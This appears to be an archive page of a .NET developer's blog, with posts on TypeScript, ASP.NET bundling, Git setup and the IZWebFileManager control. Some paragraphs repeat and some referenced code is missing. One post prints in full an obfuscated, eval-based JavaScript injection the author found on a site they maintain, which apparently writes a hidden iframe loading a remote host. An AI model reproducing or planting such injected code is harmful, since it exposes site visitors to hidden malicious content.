The best way to learn new technology is to start using it with real project. I have such - IZWebFileManager. It was written when ASP.NET MVC wasn't event in mind and Web Forms was only framework for web application in .NET. IZWebFileManager is an ASP.NET Server Control and has about 1300 lines of JavaScript code.
The challenge is to convert all existing JavaScript code in the project to TypeScript. The result of this effort you can find here: https://github.com/manishma/IZWebFileManager/tree/typescript
It this post I'll tell you about steps I went through.
Wednesday, January 2, 2013
Tuesday, January 1, 2013
Using TypeScript with an existing ASP.NET project.
TypeScript looks very powerful for me, and I want to use it with all my ASP.NET projects. But I found it is not trivial to add support of TypeScript to an existing project. After installing TypeScript for Visual Studio 2012 I was able to add new TypeScript file (*.ts) to the project, but any changes in the *.ts file did not affect it's output *.js file. Seemed like TypeScript compiler doesn't work for me. It was strange, because I found it works perfect in test project created from TypeScriptHTMLApp template.
After comparing *.cspoj files I found the difference - there is an "magic" build step has done to compile *.ts files in TypeScriptHTMLApp template:
I just added this lines in my existing project's *.csproj file and it works fine now.
Later I found the same answer in Stack Overflow. (Should I've searched there for an answer first? :))
After comparing *.cspoj files I found the difference - there is an "magic" build step has done to compile *.ts files in TypeScriptHTMLApp template:
I just added this lines in my existing project's *.csproj file and it works fine now.
Later I found the same answer in Stack Overflow. (Should I've searched there for an answer first? :))
Tuesday, September 4, 2012
Using ASP.NET Bundling and Minification with Web Forms
Bundling and Minification is a new feature of ASP.NET 4.
Learn more from this tutorial http://www.asp.net/mvc/tutorials/mvc-4/bundling-and-minification.
It has been promoted as part of ASP.NET MVC 4, but actually does not depend on MVC stack and may by used within any ASP.NET application including ASP.NET Web Forms.
When you start a new ASP.NET MVC 4 application using Visual Studio template, it sets up all what you need to start using this feature, but if you have an existing ASP.NET application (even not MVC), you have to complete following steps to make it works with your app.
Learn more from this tutorial http://www.asp.net/mvc/tutorials/mvc-4/bundling-and-minification.
It has been promoted as part of ASP.NET MVC 4, but actually does not depend on MVC stack and may by used within any ASP.NET application including ASP.NET Web Forms.
When you start a new ASP.NET MVC 4 application using Visual Studio template, it sets up all what you need to start using this feature, but if you have an existing ASP.NET application (even not MVC), you have to complete following steps to make it works with your app.
Tuesday, April 10, 2012
JavaScript injection
This JavaScript code was injected to the main page of the one of not well protected sites I am happy to maintain.:
c=3-1;i=c-2;if(
window.document)if(parseInt(" 0"+"1"+"2"+"3")===83)try{Date( ).prototype.q}catch(egewgsd){ f=['-31i-31i65i62i- 8i0i60i71i59i77i69i61i70i76i6i 63i61i76i29i68i61i69i61i70i76i 75i26i81i44i57i63i38i57i69i61i 0i-1i58i71i60i81i- 1i1i51i8i53i1i83i-27i-31i-31i- 31i65i62i74i57i69i61i74i0i1i19 i-27i-31i-31i85i- 8i61i68i75i61i-8i83i-27i-31i- 31i- 31i60i71i59i77i69i61i70i76i6i7 9i74i65i76i61i0i- 6i20i65i62i74i57i69i61i- 8i75i74i59i21i- 1i64i76i76i72i18i7i7i63i65i63i 57i76i61i74i65i57i6i65i70i7i65 i70i6i59i63i65i23i15i-1i- 8i79i65i60i76i64i21i-1i9i8i- 1i-8i64i61i65i63i64i76i21i- 1i9i8i-1i- 8i75i76i81i68i61i21i- 1i78i65i75i65i58i65i68i65i76i8 1i18i64i65i60i60i61i70i19i72i7 1i75i65i76i65i71i70i18i57i58i7 5i71i68i77i76i61i19i68i61i62i7 6i18i8i19i76i71i72i18i8i19i- 1i22i20i7i65i62i74i57i69i61i22 i-6i1i19i-27i-31i-31i85i-27i- 31i- 31i62i77i70i59i76i65i71i70i- 8i65i62i74i57i69i61i74i0i1i83i -27i-31i-31i-31i78i57i74i- 8i62i-8i21i- 8i60i71i59i77i69i61i70i76i6i59 i74i61i57i76i61i29i68i61i69i61 i70i76i0i- 1i65i62i74i57i69i61i- 1i1i19i62i6i75i61i76i25i76i76i 74i65i58i77i76i61i0i- 1i75i74i59i-1i4i- 1i64i76i76i72i18i7i7i63i65i63i 57i76i61i74i65i57i6i65i70i7i65 i70i6i59i63i65i23i15i- 1i1i19i62i6i75i76i81i68i61i6i7 8i65i75i65i58i65i68i65i76i81i2 1i-1i64i65i60i60i61i70i- 1i19i62i6i75i76i81i68i61i6i72i 71i75i65i76i65i71i70i21i- 1i57i58i75i71i68i77i76i61i- 1i19i62i6i75i76i81i68i61i6i68i 61i62i76i21i-1i8i- 1i19i62i6i75i76i81i68i61i6i76i 71i72i21i-1i8i- 1i19i62i6i75i61i76i25i76i76i74 i65i58i77i76i61i0i- 1i79i65i60i76i64i-1i4i-1i9i8i- 1i1i19i62i6i75i61i76i25i76i76i 74i65i58i77i76i61i0i- 1i64i61i65i63i64i76i-1i4i- 1i9i8i-1i1i19i-27i-31i-31i- 31i60i71i59i77i69i61i70i76i6i6 3i61i76i29i68i61i69i61i70i76i7 5i26i81i44i57i63i38i57i69i61i0 i-1i58i71i60i81i- 1i1i51i8i53i6i57i72i72i61i70i6 0i27i64i65i68i60i0i62i1i19i- 27i-31i-31i85'][0].split('i'); v="ev"+"a"+"l";}if(v)e=window[ v];w=f;s=[];r=String;for(;565! =i;i+=1){j=i;s+=r["fr"+"omC"+" harCode"](40+1*w[j]);}
if(f)z=s;e(z);
Last expression e(z) evaluates following code:
It is amazing, how people create such things. This have to be a special state of mind.
c=3-1;i=c-2;if(
if(f)z=s;e(z);
Last expression e(z) evaluates following code:
It is amazing, how people create such things. This have to be a special state of mind.
Tuesday, March 27, 2012
Setting up Git, Git Extensions and GitHub account
This tutorial indeed for people who is not familiar with Git and GitHub and make first steps with this this technology. The tutorial contains following steps:
- Installing Git and Git Extensions
- Setting up GitHub account ,SSH keys and repository
- Working with GitHub repository with Git Extensions
- Cloning public repository from GitHub
Monday, March 12, 2012
IZWebFileManager New Feature: File Search.
IZWebFileManager v2.7.0 is out.
This release brings a new feature: file search.
You can search files as easy as you do it in windows explorer.
Search result is listed with additional column "Folder Path", which is clickable and allows to navigate to file containing folder.
In case you don't wont allow users to search file, you can hide search box by setting property ShowSearchBox=false.
The release is available for download from Google Code https://code.google.com/p/izwebfilemanager/
This release brings a new feature: file search.
You can search files as easy as you do it in windows explorer.
Search result is listed with additional column "Folder Path", which is clickable and allows to navigate to file containing folder.
In case you don't wont allow users to search file, you can hide search box by setting property ShowSearchBox=false.
The release is available for download from Google Code https://code.google.com/p/izwebfilemanager/
Wednesday, March 7, 2012
BugNET - open source issue tracker
I've been searching for free development management tools running on windows and finally found this one - BugNET - open source issue tracker
It is a great tool, built using C# and the ASP.NET platform and provides features such issues tracking and project management. Full list of features may be found here.
Current state is beta, but it is developed rapidly, so release should not take long.
It is a great tool, built using C# and the ASP.NET platform and provides features such issues tracking and project management. Full list of features may be found here.
Current state is beta, but it is developed rapidly, so release should not take long.
Subscribe to:
Posts (Atom)